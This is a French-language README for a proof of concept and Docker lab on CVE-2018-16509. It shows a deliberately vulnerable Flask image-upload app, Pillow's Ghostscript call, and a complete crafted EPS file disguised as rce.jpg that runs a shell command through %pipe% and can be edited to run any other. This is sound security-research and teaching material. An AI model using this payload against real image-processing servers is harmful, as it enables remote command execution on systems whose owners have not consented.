
PoC + Environnement Docker pour l'exécution de commandes shell à distance via Ghostscript dans Python PIL/Pillow CVE-2018-16509
Inspiré par https://github.com/ysrc/PIL-RCE-By-GhostButt (RCE PIL/Pillow via CVE-2017-8291). Cet environnement docker utilise une version plus récente de Ghostscript (v9.23) et un exploit plus récent (CVE-2018-16509).
Ghostscript est une suite logicielle basée sur un interpréteur pour les langages de description de page PostScript et PDF (Portable Document Format) d'Adobe Systems. Il arrive que Ghostscript soit présent sur le serveur de production (par exemple /usr/local/bin/gs) même lorsqu'aucune application ne l'utilise directement, car Ghostscript est installé comme dépendance d'un autre logiciel (par exemple ImageMagick). De nombreuses vulnérabilités ont été découvertes dans Ghostscript ; l'une d'elles est CVE-2018-16509 (découverte par Tavis Ormandy de Google Project Zero), une vulnérabilité qui permet d'exploiter le contournement de -dSAFER dans Ghostscript avant v9.24 pour exécuter des commandes arbitraires en manipulant un restore (grestore) échoué dans PostScript afin de désactiver LockSafetyParams et d'éviter invalidaccess. Cette vulnérabilité est accessible via des bibliothèques telles qu'ImageMagick ou une bibliothèque d'images dans le langage de programmation avec un wrapper Ghostscript (PIL/Pillow dans cet exemple).
Pour les tests et la preuve de concept, nous pouvons essayer l'exploit dans un environnement docker.
Installez docker/docker-compose sur Ubuntu :
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
Les étapes d'installation de docker et docker-compose pour les autres systèmes d'exploitation peuvent être légèrement différentes, veuillez consulter la documentation docker pour plus de détails.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
L'application Flask vulnérable est accessible à l'adresse http://127.0.0.1:8000. Vous pouvez arrêter l'environnement après le test.
docker-compose down -v
Vous pouvez téléverser rce.jpg (une image EPS spécialement conçue, et non un vrai JPG) pour exécuter touch /tmp/got_rce sur le serveur. Pour preuve, vous pouvez exécuter docker exec [CONTAINER_ID] ls -alt /tmp. Pour obtenir le CONTAINER_ID, vous pouvez vérifier avec docker container ls. Pour changer la commande exécutée, vous pouvez modifier touch /tmp/got_rce directement dans le rce.jpg.
Vous pouvez vous référer à l'explication de la vulnérabilité par Tavis Ormandy dans oss-security.
Vous pouvez consulter le code source du wrapper Ghostscript de PIL/Pillow dans EPSImagePlugin.py.
Voici le code vulnérable de app.py :
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
Le contenu du fichier téléversé sera chargé par img = Image.open(img_path). PIL détectera automatiquement si l'image est une image EPS (exemple : ajouter %!PS-Adobe-3.0 EPSF-3.0 au début du fichier) et appellera _open() dans la classe EpsImageFile de EPSImagePlugin.py. Pour éviter raise IOError("cannot determine EPS bounding box"), une boîte englobante doit être ajoutée au fichier (exemple : %%BoundingBox: -0 -0 100 100).
Le corps de l'image EPS sera traité par le binaire Ghostscript avec subprocess, comme on peut le voir dans EPSImagePlugin.py dans la fonction Ghostscript.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
Le code ci-dessus est appelé lorsque load est appelé dans Image.py, donc ouvrir uniquement l'image ne déclenchera pas la vulnérabilité. Des fonctions comme resize, crop, rotate et save appelleront load et déclencheront la vulnérabilité.
Combiné avec le POC de Tavis Ormandy, nous pouvons concevoir rce.jpg pour exécuter des commandes shell à distance.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops